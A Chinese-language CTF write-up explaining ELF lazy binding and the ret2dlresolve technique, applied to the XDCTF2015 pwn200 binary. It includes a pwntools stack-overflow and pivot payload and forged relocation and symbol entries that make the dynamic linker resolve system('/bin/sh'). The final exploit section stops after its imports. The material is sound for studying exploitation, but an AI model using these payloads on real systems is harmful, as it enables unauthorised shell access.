pwn-ret2dlresolve
在学习 ret2dlresolve 之前需要先了解一些基础的底层知识。
知识点解析
动态延迟绑定
一、为什么需要"动态链接"?
在远古时代,程序是静态链接的。如果你在代码里写了一句 printf("hello"),编译器就会把整个 printf 函数的代码完完整整地拷贝到你的可执行文件里。
缺点:极其浪费磁盘和内存。如果 100 个程序都用了 printf,内存里就会有 100 份一模一样的 printf 代码。
为了解决这个问题,发明了动态链接库(比如 libc.so)。操作系统在内存里只保留一份 libc.so。谁想用 printf,就自己去 libc.so 里找。程序文件变得极小,内存也省下来了。
二、性能噩梦:为什么需要"延迟绑定"?
虽然动态链接省了空间,但带来了一个致命的性能问题:地址解析太慢了。
一个现代程序,就算只写了十几行代码,它底层依赖的动态库函数可能有成百上千个。如果程序每次刚一启动,操作系统就要跑去庞大的 libc 里,把这几千个函数的绝对地址全部找出来,一一填好(这叫"启动时全量绑定"),你会发现:程序启动会卡半天。
更气人的是,程序这次运行可能只执行了一个 if 分支,只用到了 3 个函数,剩下那 997 个函数的地址算是白找了。
为了解决这个性能噩梦,Linux 引入了延迟绑定(Lazy Binding)机制。
三、延迟绑定的核心哲学:极致的"拖延症"
延迟绑定(lazy binding):将符号地址解析推迟至函数首次调用时执行。PLT(只读代码段)保存跳转桩,GOT(可写数据段)保存解析结果。首次调用时 GOT 槽位值为指回 PLT 桩的地址,执行流经 push reloc_arg; jmp PLT0 进入 _dl_runtime_resolve,由 _dl_fixup 解析符号并将真实地址写回 GOT 槽;后续调用经 GOT 直接跳转目标函数。
为了实现这种"拖延",系统设计了 PLT(代码段,只读)和 GOT(数据段,可写)两张表:
- 第一次调用函数时:
程序去 GOT 表里拿地址,发现 GOT 表里写的根本不是真实的函数地址,而是一串"退回 PLT 表"的代码地址。
程序顺着指引退回 PLT 表,PLT 表里放着一段特殊的汇编指令,也就是
push reloc_arg; jmp PLT[0]。 这步操作唤醒了沉睡的档案员(_dl_runtime_resolve),它拿着你给的号牌(reloc_arg),吭哧吭哧去系统表里查出了真实的函数地址。 关键动作:档案员把查到的真实地址,永久地写进 GOT 表里,然后去执行函数。 - 第二次(以及之后所有)调用该函数时: 程序再次去 GOT 表里拿地址。 因为第一次调用时档案员已经把真实地址写进去了,这一次,程序直接拿到真实地址,瞬间跳转执行。再也不用麻烦档案员了。
ret2dlresolve 核心 - GOT & PLT
可以看看这个师傅的介绍
Pwn基础:PLT&GOT表以及延迟绑定机制-腾讯云开发者社区-腾讯云
全局偏移表(Global Offset Table,GOT)和过程链接表(Procedure Linkage Table,PLT)。
- GOT 表 (Global Offset Table):
全局偏移表在ELF文件中以独立的节区存在,共包含两类,对应的节区名为.got和.got.plt,其中,.got存放所有对于外部变量引用的地址;.got.plt保存所有对于外部函数引用的地址,对于延迟绑定主要使用.got.plt表。.got.plt表的基本结构如下图所示,PLT像是一个代码中转站,里面全是一行行的汇编指令。你可以把它理解为公司的前台接待员。

- PLT 表 (Procedure Linkage Table):
- 过程链接表 为了实现延迟绑定,当调用外部模块的函数时,程序并不会直接通过GOT跳转,而是通过存储在PLT表中的特定表项进行跳转。对于所有的外部函数,在PLT表中都会有一个相应的项,其中每个表项都保存了16字节的代码,用于调用一个具体的函数。
.got.plt段内的函数指针数组,延迟绑定下充当解析结果缓存。里面存的是真正的内存地址数据。你可以把它理解为公司的员工通讯录。名称 角色 关联表项 PLT0 公共总台:备齐 (link_map, reloc_arg) 两参数、送进 resolver GOT1(link_map)、GOT2(resolver) PLTn 桩(.plt) 未解析代办处:push 号牌 n、回总台 第 n 行 Rel(a)(号牌 = 行号/偏移) .plt.sec 门 已解析直通:jmp *GOTn 第 n 个 GOT 槽
GOT 表的真实物理结构
- GOT0(通讯录封面):存放着 .dynamic 段的地址。动态链接器通过它能找到当前程序所有动态链接相关的配置信息。
- GOT1(公司营业执照):存放着 link_map 结构体的指针,运行时由 ld.so 写入。还记得 0 号总台(plt0操作)压入栈的那个"本模块 ID"吗?就是它!它包含了当前 ELF 文件的所有内存映射信息。
GOT2(档案管理员的专线电话):存放着_dl_runtime_resolve函数自身的入口地址,运行时由 ld.so 写入——即 PLT0 jmp GOT+8 的目标。系统要开始查表找真实地址时,底层就是通过跳到 GOT2 里存的这个地址,把档案管理员唤醒的。_dl_runtime_resolve:动态链接器里的核心解析函数。你可以把它理解为无所不知的档案管理员。 - GOT3 及其之后:普通员工的工位。各函数槽位。初始值指向对应 PLT 桩的 push reloc_arg 处,首次解析后被覆写为 libc 真实地址。从 GOT3 开始,才是真正留给程序里调用的外部函数(比如 puts, printf, read, system 等)存放真实内存地址的地方。
就先初步分析一下一个简单的例子带入到ret2dlresolve吧。
一个简单的程序
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("Hello World!\n");
return 0;
}

我们先断点 main 函数然后到 call puts 时候 si 进去看看程序的运行。
可以看到第一次调用 puts 的时候,跳转到的 0x804c010(puts@got)存储的地址是 0x08049056。在程序刚启动的时候,编译器就提前写好了一个值【puts@plt+6】(如果解析之后就是替换为puts地址),就是 plt 的下一条指令。在第一次调用的时候你也可以忽略 jmp 这个部分直接看下一部分。
push 8 是 reloc_arg(和.rel.plt有关系后面会提到,就当作一个号码牌) 的偏移量,相当于拿到了房卡。
Jmp 0x8049030 跳转到 PLT[0] 总台 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] 将 link_map 压入栈中
Link_map —— 动态链接器的"花名册"
link_map:glibc 动态链接器(ld.so)为每个已加载的 ELF 对象(主程序、各共享库、ld.so 自身)维护的运行时内部描述结构,定义于 glibc/include/link.h(内部版本,非公开 <link.h>)。可理解为:.dynamic 段解析后的运行时形态 + 加载器簿记信息。
通俗的解释
link_map 的真实身份:动态链接器的"花名册"。
在 Linux 操作系统中,当你运行一个程序时,内存里不仅仅只有你的主程序,还有它依赖的各种共享库(比如 libc.so, ld-linux.so 等)。 为了管理这些散落在内存各处的模块,动态链接器(ld.so)在内部维护了一个双向链表。这个链表上的每一个节点,就是一个 link_map 结构体。内存里加载了多少个 ELF 文件(主程序 + 所有的 .so 库),就有多少个 link_map 结构体。
还记得我们之前拆解的汇编吗?
push [0x804c004] (这其实就是 push GOT[1],把本程序的 link_map 指针压栈) jmp [0x804c008] (跳去调用 _dl_runtime_resolve)
struct link_map {
l_addr // 模块的加载基址
l_name // 文件路径字符串
l_ld // 指向本模块 .dynamic 段的指针 ← 关键
l_next/l_prev // 链表的下一/上一个模块
...
l_info[DT_*] // 一堆索引,其中就有:
DT_JMPREL → .rel.plt 地址
DT_SYMTAB → .dynsym 地址
DT_STRTAB → .dynstr 地址
DT_HASH → 符号哈希表
};
l_info 元素为 ElfW(Dyn)*,需经 d_un.d_ptr 二级取址;字段偏移随 glibc 版本变化,实测以 gdb 为准。
当系统唤醒档案管理员(_dl_runtime_resolve)时,管理员其实是一脸懵的:
"我是谁?我在哪?是谁按了呼叫铃?你要我帮哪个程序查函数?"
因此,PLT0 必须把当前程序的 link_map 压入栈中。这相当于告诉管理员:
"你好,我是主程序模块(link_map),请你拿着我的内部结构图(l_info 里的表地址),再配合这个号牌(reloc_arg),去帮我找个人。"
管理员拿到 link_map 后,才能顺藤摸瓜找到当前程序的真正的 .rel.plt 表在哪里,然后才能执行那个致命的公式:.rel.plt 基址 + reloc_arg。
dl_runtime_resolve —— "中转站"
_dl_runtime_resolve:glibc 动态链接器(ld.so)中的延迟绑定蹦床函数(trampoline),位于 sysdeps/x86_64/dl-trampoline.S(i386 对应 sysdeps/i386/dl-trampoline.S)。它是PLT0 jmp [GOT+2]的目标,职责:保存调用现场 → 调用 _dl_fixup 完成符号解析 → 恢复现场 → 将控制流转移到解析出的函数地址。
可以看出在 _dl_runtime_resolve 这个函数过程中是下面这些方面:它是"中转站",真正查表找地址在 _dl_fixup,而它负责"把人安全送到站"。它做 5 件事:
① 保存现场 push eax / ecx / edx
② 取参数 mov edx,[esp+0x10] ← reloc_index
mov eax,[esp+0xc] ← link_map
③ 干活 call _dl_fixup ← 真正解析,返回地址放 eax
④ 恢复现场 pop edx / pop ecx / pop eax
⑤ 送走 mov [esp],eax ; ret $0xc → 跳进解析出的函数

进入到了 _dl_fixup
_dl_fixup (link_map *l, Word reloc_offset) // 参数:link_map + reloc_index
{
symtab = l->l_info[DT_SYMTAB]; // 1. 取 .dynsym 地址
strtab = l->l_info[DT_STRTAB]; // 2. 取 .dynstr 地址
reloc = l->l_info[DT_JMPREL] + reloc_offset; // 3. ★ reloc = .rel.plt + 偏移
sym = &symtab[ reloc->r_info >> 8 ]; // 4. ★ sym = .dynsym + 索引*16
rel_addr = reloc->r_offset; // 5. ★ 结果写到哪
value = _dl_lookup_symbol_x(strtab + sym->st_name, ...); // 6. ★ 按名字查库
*rel_addr = value; // 7. 写回 GOT
return value;
}
.rel.plt(DT_JMPREL)——重定位表(任务派发单柜)
.rel.plt节(Relocation Procedure Linkage Table)是ELF文件中用于存储函数重定位信息的节区。它专门处理外部函数调用的重定位,与处理数据重定位的.rel.dyn节相对应。该节与.plt(过程链接表)和.got.plt(过程链接表的全局偏移表)紧密配合,实现函数调用的延迟绑定机制。他和ELf_Rel的关系就是数组和元素的关系
.rel.plt节由Elf32_Rel或Elf64_Rel结构体数组组成,具体结构如下:
// 32位系统结构
typedef struct {
Elf32_Addr r_offset; // 重定位入口的偏移量(GOT表项地址)
Elf32_Word r_info; // 重定位类型和符号表索引
} Elf32_Rel;
// 64位系统结构(如果有addend字段)
typedef struct {
Elf64_Addr r_offset; // 重定位入口的偏移量
Elf64_Xword r_info; // 重定位类型和符号表索引
Elf64_Sxword r_addend; // 加数
} Elf64_Rela;
举个例子
程序第一次调用 read 时,链接器查出 read 的地址——该写进哪个 GOT 格子? 又凭什么知道要查的名字是 "read"?
"名字"和"格子"的配对必须链接期写死在文件里。链接器给每个延迟绑定的 外部函数生成一套"三件套"(以 read 为例):
① PLT 条目: push 0x10; jmp PLT0 ← 调用入口(0x10 = 它在rel.plt柜子里的字节偏移)
② GOT 槽: 0x0804c01c ← 将来放真实地址的格子
③ Elf32_Rel: r_offset = 0x0804c01c ← "解析结果写进②号格子"
r_info = (下标<<8)|7 ← "查 .dynsym 第 5 号档案"
③就是 Elf32_Rel(任务派发单,下一小节细讲)。所有函数的单子按PLT 条目顺序一张挨一张排好——这一整排单子,就是 .rel.plt 段。
它的三个关键性质:
- 链接期生成,内容永不改变——运行期变的是各 GOT 格子里的值,不是这张表;
- 行数 = PLT 条目数——PWN200 一共 4 行 × 8 字节 = 0x18 字节, 远小于 reloc_arg 能表达的偏移范围,这就是越界攻击的物理空间;
- 柜子的位置登记在 .dynamic 段的 DT_JMPREL 条目里,加载时被读进 link_map 的 l_info ——管理员查表用的"基址"就是从这来的。
查询命令(0x06 布局里 0x08048380 的正式出处):
readelf -d pwn200 | grep -E "JMPREL|PLTRELSZ" # JMPREL 0x8048380 ← .rel.plt 基址(柜子从哪开始) # PLTRELSZ 0x18 ← 表总字节数(几行 × 8字节/行)
32 位 vs 64 位:32 位这张表叫
.rel.plt,表项 8 字节Elf32_Rel; 64 位叫.rela.plt,表项 24 字节Elf64_Rela(多一个 r_addend 字段, 伪造时填 0)。后文 x64 章的"四判据"里,24 这个数字还会再次登场。
Elf32/64_Rel重定位表项 —— "任务派发单"
Elf32_Rel / Elf64_Rela 是_dl_fixup解析单个函数时直接操作的数据单元:Relocation Entry(重定位表项)——描述“一次地址修补”的最小结构:写入位置(r_offset)与解析依据(r_info)。
Elf32/64_Rel 全称是 Relocation Entry(重定位表项)。它是 ELF 可执行文件中用于指导动态链接器"如何修改代码或数据"的核心结构体。 这张"任务派发单"里只写了两件事,对应它的两个字段:
typedef struct {
Elf32_Addr r_offset; /* 4B:重定位写入目标的虚拟地址 */
Elf32_Word r_info; /* 4B:ELF32_R_SYM = r_info >> 8
ELF32_R_TYPE = r_info & 0xff */
} Elf32_Rel; /* 共 8 字节 */
typedef struct {
Elf64_Addr r_offset; /* 8B */
Elf64_Xword r_info; /* 8B:ELF64_R_SYM = r_info >> 32
ELF64_R_TYPE = r_info & 0xffffffff */
Elf64_Sxword r_addend; /* 8B:显式加数,JMP_SLOT 场景恒为 0 */
} Elf64_Rela; /* 共 24 字节 */
1. r_offset(重定位目标 / 收货地址)
保存一个虚拟地址:指定本次重定位“把解析结果写到哪”
它保存的是一个绝对内存地址。在函数延迟绑定的场景中,这个地址指向的就是目标函数对应的 GOT 表项的地址(例如 GOT3 的地址)。当 _dl_fixup 查出真实的函数地址后,系统会强制将该真实地址覆写到r_offset所指向的内存空间中。
| x32 | x64 | |
|---|---|---|
| 字段宽度 | 4B | 8B |
| 写回单位 | 4 字节(mov r_offset, ax) | 8 字节(mov r_offset, rax) |
查到之后填在哪?(收货地址) 动态链接器费尽千辛万苦去 libc 里查到了真实的函数地址(比如 puts 的地址),查完之后它不能把地址直接扔掉,它必须把这个地址写回到内存里的某个地方。 正常情况:r_offset 里填写的正是咱们之前聊过的 GOT 表项的绝对地址(比如 GOT3 的地址)。系统查到地址后,会直接覆盖写入这里,完成所谓的"动态绑定"。
.rel.plt/.rela.plt 这个表里存放着一堆连续的 Elf32/64_Rel 结构体。档案管理员拿到 reloc_arg 后,做的第一件事就是做加法:
x32:Rel 地址 = DT_JMPREL + reloc_arg (reloc_arg = 字节偏移,须 %8 == 0) x64:Rela 地址 = DT_JMPREL + reloc_arg × 24 (reloc_arg = 索引,×24 在 _dl_fixup 内部完成)
管理员通过这个加法,越界拿到了这张"任务单"(Elf32/64_Rel),然后再根据任务单上的r_info去找.dynsym,最后根据 .dynsym 里的 st_name 去找.dynstr里的字符串。
2. r_info
复合字段,两个子域由宏拆解(elf(5) / System V ABI):
这个字段是一个复合数据,它把两块信息压缩在了一个 32 位的数字里:
- 符号表索引(高位):x32 占高 24 位,x64 占高 32 位。
_dl_fixup 拿到表项后先做此移位得到下标,再访问
.dynsym[index]——即到档案柜里取第 N 份档案。它告诉管理员:"去 .dynsym(档案柜)里找第几个结构体"。 这就是为什么 _dl_fixup 拿到这个表项后,会立刻通过r_info >> 8/r_info >> 32算出一个下标,然后去访问.dynsym。 - 重定位类型(低位):x32 占低 8 位,x64 占低 32 位。延迟绑定场景必须为 7(R_386_JMP_SLOT / R_X86_64_JUMP_SLOT),语义为“解析符号真实地址并写入 GOT 槽”。_dl_fixup 入口断言该值,不为 7 即终止进程——踩坑记录中的那次崩溃正是此处。
它告诉系统要做什么类型的处理。对于外部函数调用,这个值固定是0x07(代表 R_386_JMP_SLOT),意思是"查出真实的函数地址"。
dy
.dynsym节(DT_SYMTAB)字符串表 —— "员工档案柜"
.dynsym:ELF 的动态符号表(Dynamic Symbol Table),节类型 SHT_DYNSYM,内容为 Elf32_Sym / Elf64_Sym 结构体数组。它只收录动态链接所需的最小符号集(从 .symtab 中筛出的导入/导出符号)
/* Elf32_Sym — 16 字节 */ /* Elf64_Sym — 24 字节 */
typedef struct { typedef struct {
Elf32_Word st_name; /* 4 */ Elf64_Word st_name; /* 4 */
Elf32_Addr st_value; /* 4 */ unsigned char st_info; /* 1 */
Elf32_Word st_size; /* 4 */ unsigned char st_other; /* 1 */
unsigned char st_info; /* 1 */ Elf64_Half st_shndx; /* 2 */
unsigned char st_other;/* 1 */ Elf64_Addr st_value; /* 8 */
Elf32_Half st_shndx; /* 2 */ Elf64_Xword st_size; /* 8 */
} Elf32_Sym; } Elf64_Sym;
/* 注意:32/64 位字段顺序不同 */
虽然有了.dynstr字典,但系统不可能去字典里从头到尾瞎比对字符串。它需要一个有索引、有条理的"档案柜",这就是 .dynsym。
- 长什么样:它是一个结构体数组。里面的每一个元素,都是一个名为
Elf32_Sym的结构体 - 结构体大小:在 32 位系统下,每一个
Elf32_Sym结构体的大小严格等于 16 字节。在x64系统下是严格24字节 - 它的核心作用:它把程序里用到的所有外部函数信息,整齐划一地封装了起来。在这个 16 字节的结构体里,最重要的一个字段就是
st_name。 - st_name 是什么:它就是一个数字,代表着这个函数的名字在 .dynstr(字符串表)中的偏移量。
Elf32/64_Sym —— "花名册里的一页"
Elf32_Sym / Elf64_Sym:ELF 符号表项(Symbol Table Entry)结构类型,SHT_SYMTAB / SHT_DYNSYM 符号表的元素。
职责:描述“一个符号”(函数/变量的名片)
叫什么名字(st_name)、有什么属性(st_info/st_other)、定义在哪(st_value/st_shndx)。
.dynsym(动态符号表)是一本庞大的"公共花名册"。那么,Elf32/64_Sym 就是这本花名册里的"单独一页员工档案"。
.dynsym 这张表,本质上就是由成百上千个连续的Elf32/64_Sym结构体紧紧挨在一起组成的数组。
在 32 /64 位 Linux 架构下,一个 ElfXX_Sym 结构体的大小极其严格,它的底层 C 语言定义长这样:
typedef struct {
Elf32_Word st_name; /* 4B:符号名在 .dynstr 中的字节偏移 */
Elf32_Addr st_value; /* 4B:符号地址/值 */
Elf32_Word st_size; /* 4B:符号大小 */
unsigned char st_info; /* 1B:绑定属性 << 4 | 符号类型 */
unsigned char st_other; /* 1B:可见性 */
Elf32_Half st_shndx; /* 2B:所属节索引 */
} Elf32_Sym; /* 16 字节 */
typedef struct {
Elf64_Word st_name; /* 4B */
unsigned char st_info; /* 1B */
unsigned char st_other; /* 1B */
Elf64_Half st_shndx; /* 2B */
Elf64_Addr st_value; /* 8B */
Elf64_Xword st_size; /* 8B */
} Elf64_Sym; /* 24 字节 —— 字段顺序与 x32 不同 */
| 字段 | 语义 | 伪造时的取值 |
|---|---|---|
| st_name | 符号名在 .dynstr 的偏移;0 = 无名 | 指向自带字符串 "system\0" |
| st_value | 符号地址(仅导出符号有意义;导入符号为 0) | 0 |
| st_size | 符号大小 | 0 |
| st_info | 高 4 位绑定(STB_GLOBAL=1)+ 低 4 位类型(STT_FUNC=2)→ 0x12 | 0x12 |
| st_other | 可见性低 2 位:STV_DEFAULT=0;非 0 时 _dl_fixup 跳过符号查找,直接取 l_addr + st_value | 必须 0(常规路线) |
| st_shndx | 定义所在节的索引;SHN_UNDEF=0 = 未定义(导入符号) | 0 |
所以我们在铺设的时候也需要填充这些数值,把Addr和Word直接填充为0,然后st_info默认写0x12声明全局变量
各字段含义
| 字段 | 含义 |
|---|---|
| st_name | 符号名在 .dynstr 中的字节偏移(节头的 sh_link 指向 .dynstr,elf(5)) |
| st_value / st_size | 符号地址 / 大小(导入符号在本模块中为 0) |
| st_info | ELF32_ST_INFO(bind, type);如 0x12 = STB_GLOBAL<<4 | STT_FUNC |
| st_other | 可见性;ST_VISIBILITY(st_other)==0 时 _dl_fixup 走常规解析路径 |
| st_shndx | 所属节索引(导入符号为 SHN_UNDEF=0) |
延迟绑定中的用途
_dl_fixup第二跳
sym_index = ELF32_R_SYM(r_info) = r_info >> 8 (x32) sym_index = ELF64_R_SYM(r_info) = r_info >> 32 (x64) sym = DT_SYMTAB + sym_index × 16/24 → ElfXX_Sym name = DT_STRTAB + sym->st_name → 符号名字符串
.dynstr(DT_STRTAB) (Dynamic String Table):动态字符串表 —— “纯文本字典”"纯文本字典"
这是最简单粗暴的一个表,它本质上就是一块连续的内存空间,里面挤满了用 \0(空字符)分隔的纯文本字符串。
- 长什么样:你可以把它想象成一长串没有排版的文字,比如
\0printf\0puts\0read\0__libc_start_main\0system\0。 - 它的作用:它不包含任何逻辑或结构体,纯粹就是一个"名字仓库"。
- 如何使用它:系统怎么在这个仓库里找到想要的名字呢?靠的是偏移量(Offset)。比如,如果 .dynstr 的基地址是
0x08048200,而puts\0刚好排在这个仓库的第 10 个字节处,那么 puts 这个字符串的偏移量就是 10。系统只要访问0x08048200 + 10,就能完整读出 puts 这个词。
_dl_fixup 是如何将这两张表串联起来的?
现在,我们把前面的知识全部串起来,看看档案管理员(_dl_fixup)是如何通过你传入的 reloc_arg,在两张表之间跳跃的:
- 拿号牌找重定位表(rel.plt):管理员拿到 reloc_arg,在 .rel.plt 表中找到了对应的 Elf32_Rel 结构体。
- 获取档案编号:管理员读取 ElfXX_Rel 中的 r_info 字段。他将 r_info 的高 24 位提取出来,这就得到了一个数组索引下标(比如索引是 5)。
- 翻阅档案柜 (.dynsym):管理员拿着下标 5,去 .dynsym(符号表)里找第 5 个 Elf32_Sym 结构体。底层的数学计算就是:
.dynsym 基址 + 5 * 16 字节。(这就是为什么我们在伪造它时,必须严格保证 16 字节对齐的原因!) - 拿到名字偏移量:管理员打开了这个结构体,读取了里面的 st_name 字段(比如读出来是 10)。
- 查字典 (.dynstr):管理员拿着偏移量 10,直接去 .dynstr(字符串表)里一查,底层计算:
.dynstr 基址 + 10。 - 真相大白:指针刚好落在了
puts\0这个字符串上!最后,管理员拿着 puts 这个名字,去 libc 里寻找真正的内存地址。
至此 call 函数调用流程如下(已经闭环了)。

ret2dlresolve32——XD2015-PWN200
程序源码
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
使用以下语句进行编译:$ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c
0x01 程序分析
RELRO 表示延迟绑定开启。

引用函数里没有 system,程序里也没有 /bin/sh 字符串,所以这题并没有常规的 ret2shellcode 这些。继续分析程序的结构:


导入表没有 system 程序里没有 /bin/sh 字符串 题目没给你 libc → ASLR 下算不出任何函数地址 → 传统 ret2libc 走不通 → 唯一的出路:让链接器自己替我们解析出 system = ret2dlresolve
0x02 函数分析
观察一下漏洞函数。

出现了栈溢出,看看 .bss 段有没有合适的位置去写东西,查看 IDA 可以发现 bss 开始是在 0x0804C028。

那我们就选写入就从 bss+0x800 开始吧。原因是:system 被调用后,它自己会往栈里压东西——esp 从 base 附近往低地址走(走大约 0x350 字节):
情况 A:base = 0x0804c828(我们的选择) esp 从 0x0804c828 开始,压 0x350 字节: 0x0804c828 - 0x350 = 0x0804c4d8 0x0804c4d8 > 0x0804c000 ← 还在可写页里 ✓ 情况 B:base = 0x0804c028(bss 本身) esp 从 0x0804c028 开始,压 0x350 字节: 0x0804c028 - 0x350 = 0x0804bcd8 0x0804bcd8 < 0x0804c000 ← 掉进只读页了 ✗ 崩溃
所以选 base = bss + 0x800 = 0x0804c828。
扩充一下为什么选择bss+0x800作为地址,有以下3个标准
x32落点约定
落点选择的三条半标准:
1.确认RW的上/下限,不能超越内存rw的范围,从图中可以发现的是0x804d000是rw的结束,0x804c000是rw的开头(即使他并不是bss段的开头)
2.在选择放置位置的时候先计算system申请之后的栈空间(栈向低地址生长)是否具有RW权限。base − 0x350(system 调用链实测深度,栈向低地址生长)≥ 0x0804c000,否则写入只读页崩溃。
3.附加筛选位置是号码牌(reloc_args)位置地址需要符合求余8为整数,也就是rel+num之后需要符合reloc_args条件z,reloc_arg = 假Rel地址 − JMPREL 必须÷8 == 0(等价于假 Rel 地址 8 字节对齐),否则读出错位垃圾,r_info 类型位 ≠ 7,触发 dl-runtime.c 断言。
bss+0x800 = 0x0804c828 四条全过,且深度余量 0x4D8
0x03 攻击原理
程序在调用第一次 call write@plt 的时候就是通过 push 0x20 设置 reloc_index,ret2dlresolve 的核心就是通过设置 reloc_index 和伪造 Elf32_Rel 等参数,去让 libc 吐出我们需要执行的 system。
链接器正常逻辑:.rel.plt + 0x20 = write 的重定位项 → 按名字 "write" 找地址。
我们故意塞一个超大的 reloc_index,大到加完正好落在 .bss 里我们伪造的数据上:
正常: .rel.plt + write 的偏移(0x20) = 真·write 项 攻击: .rel.plt + 号牌(待 0x06 计算) = 假 Rel 地址 ← 落在 .bss,我们写的东西 落点地址 = base + 布局偏移 —— 位置是我们排布局时"选"的 号牌 = 落点地址 − DT_JMPREL —— 数值是我们"反算"的 这个加法是机器做的,"偏移量"是我们造的,它不校验。
链接器接着会做什么(全自动):
拿到的"重定位项"里有两个字段:
① r_info → 带我们去 bss 里伪造的"符号项"
② 符号项 → 带我们去 bss 里伪造的名字字符串
名字字符串写着 "system"
→ 链接器:哦,要解析 "system" → 去 libc 按名字找到 system 的真实地址
→ 替我们执行 system("/bin/sh") → 拿 shell
关键点:我们全程不知道 system 的地址,是链接器帮我们找到并执行的。
整体结构(先有个地图):
第一段(栈上,触发挥发): 溢出 → 调 read(0, base, 0x300) 把第二段读进 bss → 栈迁移到 base 第二段(bss 里 base 处的伪造数据): [跳 PLT[0] 的框架] + [伪造 reloc_index] + [伪造 Elf32_Rel] + [伪造 Elf32_Sym] + "system" + "/bin/sh"

0x04 第一部分 payload 写入
from pwn import *
context(os = 'linux',arch = 'i386')
r = process('./pwn200')
# 这个数据用于将 read 重复复用,用于将 payload 传入 bss+0x800 段,
# 也就是 payload_2 的内容
elf = ELF('./pwn200')
read_plt = elf.plt['read']
base = 0x0804C028 + 0x800
skip = 0x0804901f #add esp,8; pop ebx; ret
pivot = 0x0804928b # pop ecx; pop ebx; pop edi; pop ebp; lea -4(%ecx),%esp; ret
#payload_1
offset = 0x6c + 0x4
payload_1 = b'a'*offset
payload_1 += p32(read_plt)
payload_1 += p32(skip) #read_ret
payload_1 += p32(0)
payload_1 += p32(base)
payload_1 += p32(0x300)
payload_1 += p32(pivot)
payload_1 += p32(base+4) # pop ecx
payload_1 += p32(0)*3 # pop ebx/edi/ebp
r.send(payload_1)
0x05 payload_2 信息收集写入
在写入之前我们先要获取一些必要的信息,比如 read 这个函数在 libc 的调用结构,也就是先看看程序他是怎么进行将 read 给解析出来的,然后我们再行仿造。
read 函数 plt
objdump -d -j .plt pwn200

观察可以发现 reloc_index = 0x10,然后 plt0 地址是 0x8049030。
Dynsym 和 dynstr
收集一下 dynsym 和 dynstr 的信息吧。
还记得 dynsym 的作用吗?
① .rel.plt + reloc_index → Elf32_Rel → 读出 r_info ② .dynsym + 符号编号×16 → Elf32_Sym → 读出 st_name ③ .dynstr + st_name → 函数名字符串 → 读出 "write" ④ 拿这个名字去 libc 里搜
为什么要这两个地址?因为我们骗解析器走这条链,但把第 ②③ 步的"指向"换成我们的:
② 我们让符号编号指向 bss 里的假 Elf32_Sym → r_sym = (假Sym地址 - .dynsym) // 16 ← 公式2 要用 .dynsym ③ 我们让假 Sym 的 st_name 指向 bss 里的 "system" → st_name = "system"地址 - .dynstr ← 公式3 要用 .dynstr
关键:我们的 "system" 字符串在 bss,不在 .dynstr。但解析器只会用 .dynstr + st_name 这个公式找。所以 st_name 我们算成 system地址 - .dynstr——解析器一加,正好落在我们的 system 上。它不检查字符串是否真的在 .dynstr 里。
查询命令:
readelf -S pwn200 | grep -E "rel\.plt|dynsym|dynstr|\.plt |\.bss"

0x06 布局与公式计算
再伪造 reloc_index 之前我们首先要放的是 payload 的位置,也就是先把结构安排好了再回头进行计算,因为 reloc_index 是通过公式算出来的。
可以看到 Elf32_Rel 铺路到了 base+0x10 这个地方。那 reloc_index 的计算就是 伪造Rel地址 - 0x08048380 = 0x44b8。
.rel.plt = 0x08048380 → 公式① reloc_index = 伪造Rel地址 - 0x08048380 .dynsym = 0x0804820c → 公式② r_sym = (伪造Sym地址 - 0x0804820c) // 16 .dynstr = 0x080482ac → 公式③ st_name = "system"地址 - 0x080482ac .bss = 0x0804c028 → base = 0x0804c028 + 0x800 = 0x0804c828(伪造数据区)
第一版布局:
[base+0x00] PLT[0] ← eip 弹这 [base+0x04] reloc_index ← 解析器读这 [base+0x08] 返回地址(随便) [base+0x0c] /bin/sh 指针 [base+0x10] 假 Elf32_Rel ← 8字节 [base+0x18] 假 Elf32_Sym ← 16字节(要对齐,稍后细讲) [base+0x28] "system\0" [base+0x30] "/bin/sh\0"
对齐问题
下一步算 r_info,不过得先算 r_sym(假 Sym 的索引)。
因为我们当前的 Elf32_Sym 位置只是按顺序放置的,但是 Elf32_Sym 结构体的底层数学计算就是:.dynsym 基址 + 5 * 16 字节。(这就是为什么我们在伪造它时,必须严格保证 16 字节对齐的原因!)
当前的 fake_sym_addr = base + 0x18 = 0x0804c840
0x0804c840 - 0x0804820c = 0x4644 算除法。十六进制除以 16 = 右移一位: 0x4644 // 0x10 = 0x464 余 4 ← 余数 4,不是整数!
解析器是这么算假 Sym 地址的:sym = .dynsym + 索引×16。
如果索引带余数,解析器只能取 0x464,落点就是:
假 Sym 必须满足:(假Sym地址 - .dynsym) % 16 == 0 (地址能被 16 整除)
对齐:把假 Sym 从 0x18 挪到 0x24
base - dynsym = 0x0804c828 - 0x0804820c = 0x461c 0x461c % 16 = 12 (结尾 c = 12)
要余 0,假 Sym 的偏移得结尾是 4(12 + 4 = 16 → 进位归 0)。从 0x18 往后找结尾是 4 的第一个数 → 0x24。
再次计算:
fake_sym_addr = base + 0x24 = 0x0804c84c r_sym = (0x0804c84c - 0x0804820c) // 16 = 0x4640 // 0x10 = 0x464 ✓ 整数! r_info = (0x464 << 8) | 0x07 = 0x46407
0x0804820c + 0x464×16 = 0x0804c84c ← 可我们的假 Sym 在 0x0804c840(base+0x18)!
差了 0x0c,解析器读到的就是垃圾
布局修正后:
[base+0x10] 假 Elf32_Rel ← 8字节,占 0x10-0x18 [base+0x18] (空白 padding,0x0c 字节) [base+0x24] 假 Elf32_Sym ← 挪到这!16字节,占 0x24-0x34 [base+0x34] "system\0" [base+0x3c] "/bin/sh\0"
st_name 伪造
0x464 << 8 这个的意思就是左移 8 位,也就是变成 0x46400,再把低 8 位填上类型 0x07,得到 0x46407。
很好,自此我们就只剩下了 st_name 这个没定位了。
st_name = "system" 字符串的地址 - .dynstr
我们之前布局好了就是 system 字符串地址在 base+0x34 位置。所以计算之后就是:
st_name = hex(0x0804c85c - 0x080482ac) = 0x45b0
0x07 最终 exploit
四个值齐了:reloc_index = 0x44b8、r_info = 0x46407、st_name = 0x45b0、r_offset = 0x0804c01c(write@got)。
from pwn import *
context(os = 'linux',arch = 'i386')
r = process('./pwn200')
elf = ELF('./pwn200')
